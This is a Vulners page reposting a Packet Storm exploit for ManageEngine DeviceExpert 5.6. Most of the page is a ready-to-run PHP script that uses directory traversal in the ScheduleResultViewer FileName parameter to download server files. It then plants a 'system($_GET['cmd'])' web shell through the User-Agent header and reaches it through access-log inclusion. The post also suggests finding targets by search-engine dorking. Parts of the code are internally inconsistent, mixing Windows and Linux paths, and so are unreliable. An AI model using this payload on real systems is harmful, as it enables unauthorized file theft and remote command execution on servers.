Lucene search
K

📄 ManageEngine DeviceExpert 5.6 Traversal / Code Execution

🗓️ 26 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 118 Views

ManageEngine DeviceExpert 5.6 vulnerability in ScheduleResultViewer allows file inclusion and code execution.

Code
=============================================================================================================================================
    | # Title     : ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName PHP Code Injection Vulnerability                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://download.manageengine.com/                                                                                          |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Web Shell injection if the target has an LFI (Local File Inclusion) vulnerability with code execution capability, or RFI (Remote File Inclusion), 
    
        or if we can write to a path that the web server can execute,
    	
        such as the uploads or webroot folder on the server.
    	
    	( https://packetstorm.news/files/id/181161/ )
    	
    [+] save code as poc.php.
    
    [+] Set Target : line 81
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    
    class ManageEngineScanner {
        private $host;
        private $port;
        private $ssl;
        private $filepath;
    
        public function __construct($host, $port = 6060, $ssl = true, $filepath = 'windows\\win.ini') {
            $this->host = $host;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->filepath = $filepath;
        }
    
        private function sendRequest($uri, $headers = []) {
            $protocol = $this->ssl ? 'https' : 'http';
            $url = "$protocol://{$this->host}:{$this->port}$uri";
    
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 25);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
    
            return [$http_code, $response];
        }
    
        public function run() {
            $traverse = str_repeat("..\\", 10);
            $filename = $this->filepath;
    
            list($code, $response) = $this->sendRequest("/scheduleresult.de");
            if ($code !== 200) {
                echo "[ERROR] Target is not ManageEngine DeviceExpert\n";
                return;
            }
    
            list($code, $response) = $this->sendRequest("/scheduleresult.de/?FileName={$traverse}{$filename}");
            
            if ($code === 200) {
                echo "[SUCCESS] {$this->host}:{$this->port} returns: $code\n";
                if (!empty($response)) {
                    $this->saveFile($response);
                } else {
                    echo "[ERROR] {$this->host}:{$this->port} - no file downloaded (empty)\n";
                }
            } elseif ($code === 404) {
                echo "[ERROR] {$this->host}:{$this->port} - file not found\n";
            } else {
                echo "[ERROR] Unable to communicate with {$this->host}:{$this->port}\n";
            }
        }
    
        private function saveFile($content) {
            $filename = basename($this->filepath);
            $path = __DIR__ . "/$filename";
            file_put_contents($path, $content);
            echo "[SUCCESS] File saved in: $path\n";
        }
    
        public function injectWebShell() {
            $webshell = "<?php system(\$_GET['cmd']); ?>";
            $headers = ["User-Agent: " . $webshell];
            
            list($code, $response) = $this->sendRequest("/scheduleresult.de", $headers);
            
            if ($code === 200) {
                echo "[SUCCESS] Web Shell injected via User-Agent!\n";
                echo "Access it at: http://{$this->host}/scheduleresult.de/?FileName=../../../../../../var/log/apache2/access.log&cmd=id\n";
            } else {
                echo "[ERROR] Web Shell injection failed!\n";
            }
        }
    }
    
    $scanner = new ManageEngineScanner('target_ip_here');
    $scanner->run();
    $scanner->injectWebShell();
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation